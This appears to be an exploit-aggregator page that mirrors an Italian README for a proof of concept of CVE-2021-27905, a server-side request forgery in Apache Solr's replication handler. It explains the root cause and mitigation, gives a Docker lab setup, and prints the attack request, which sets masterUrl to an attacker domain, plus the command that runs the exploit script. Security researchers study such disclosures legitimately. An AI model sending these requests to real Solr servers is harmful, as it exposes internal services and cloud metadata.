Sploitus

Exploit for CVE-2021-27905

kitploit · 2026-08-26

Exploit Code

MARKDOWN129 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-RIZZZIOM-CVE-2021-27905
# CVE-2021-27905

**N.**| **Titolo**  
---|---  
1| Panoramica  
2| Causa principale  
3| Prova di concetto  
4| Mitigazione (8.8.2+)  
5| Riferimenti  
  
**Solo per scopi educativi e di ricerca. Non utilizzare questo codice su sistemi che non possiedi o per i quali non hai un'autorizzazione esplicita al test. Non sono responsabile per eventuali usi impropri.**

## Panoramica

Questa è una vulnerabilità di Server Side Request Forgery che interessa **Apache Solr** (< 8.8.2) e consente ad attaccanti remoti di effettuare richieste HTTP arbitrarie verso sistemi interni o esterni tramite il parametro `masterUrl` dell'handler di replica, esponendo potenzialmente servizi interni o metadati sensibili del cloud.

**Versioni interessate** : tutte le versioni precedenti alla `8.8.2` (`7.0.0 - 7.7.3, 8.0.0 - 8.8.1`)

## Causa principale

Il meccanismo di replica in **Solr** consente a una "replica" di recuperare i file dell'indice da un "master/leader" specificando un parametro `masterUrl` o `leaderUrl`. L'URL indicato tramite questo parametro non viene validato correttamente nelle versioni interessate di **Apache Solr**. Ciò consentirebbe agli attaccanti di convincere il server a contattare una risorsa remota da loro scelta.

**Flusso vulnerabile**

  * Un attaccante invierebbe una richiesta a un endpoint come:



root@kitploit:~
    
    
    /solr/<CORE_NAME>/replication?command=fetchindex&masterUrl=http://<ATTACKER_DOMAIN>
    

Il `ReplicationHandler` di **Solr** :

  1. Accetterebbe la richiesta.
  2. Userebbe il `masterUrl` fornito per scaricare i dati dell'indice.
  3. Effettuerebbe internamente una chiamata HTTP a quell'indirizzo.



## Prova di concetto

**SETUP DEL LAB**

  * È possibile configurare un lab localmente tramite docker:



root@kitploit:~
    
    
    $ cd lab
    $ docker compose up -d
    
    # verify accessibility
    $ curl http://127.0.0.1:8983/solr
    

  * Pulizia



root@kitploit:~
    
    
    $ docker compose down
    

**SFRUTTAMENTO**

  * Configura un ambiente virtuale:



root@kitploit:~
    
    
    # for windows
    $ python -m venv <NAME>
    $ .\<NAME>\Scripts\activate
    # for linux
    $ python3 -m venv <NAME>
    $ source ./<NAME>/scripts/activate
    

  * Installa i requisiti:



root@kitploit:~
    
    
    $ pip install -r requirements.txt
    

  * Esegui `cve-2021-27905.py`



root@kitploit:~
    
    
    $ python3 cve-2021-27905.py --target <TARGET> --payload <SSRF_PAYLOAD>
    

![SSRF PoC](https://assets.kitploit.com/production/public/readmes/38876/66f2373707f36c57adc437469c15b06becc812896784bc5e965aa48de6a9af3d.gif)

## Mitigazione (8.8.2+)

Il `ReplicationHandler` di Solr è stato corretto per:

  * Validare che `masterUrl`/`leaderUrl` punti solo a host approvati.
  * Limitare gli schemi URL accettabili (solo `http`, `https`).
  * Rafforzare le funzionalità di streaming remoto.
  * Raccomandare agli amministratori di proteggere `/replication` con autenticazione o rimuoverlo completamente se non viene utilizzato.



### Riferimenti

  * https://nvd.nist.gov/vuln/detail/CVE-2021-27905
  * https://lists.apache.org/thread/90kct018gfdnvh9wh5xvt0grm9jk2l80



* * *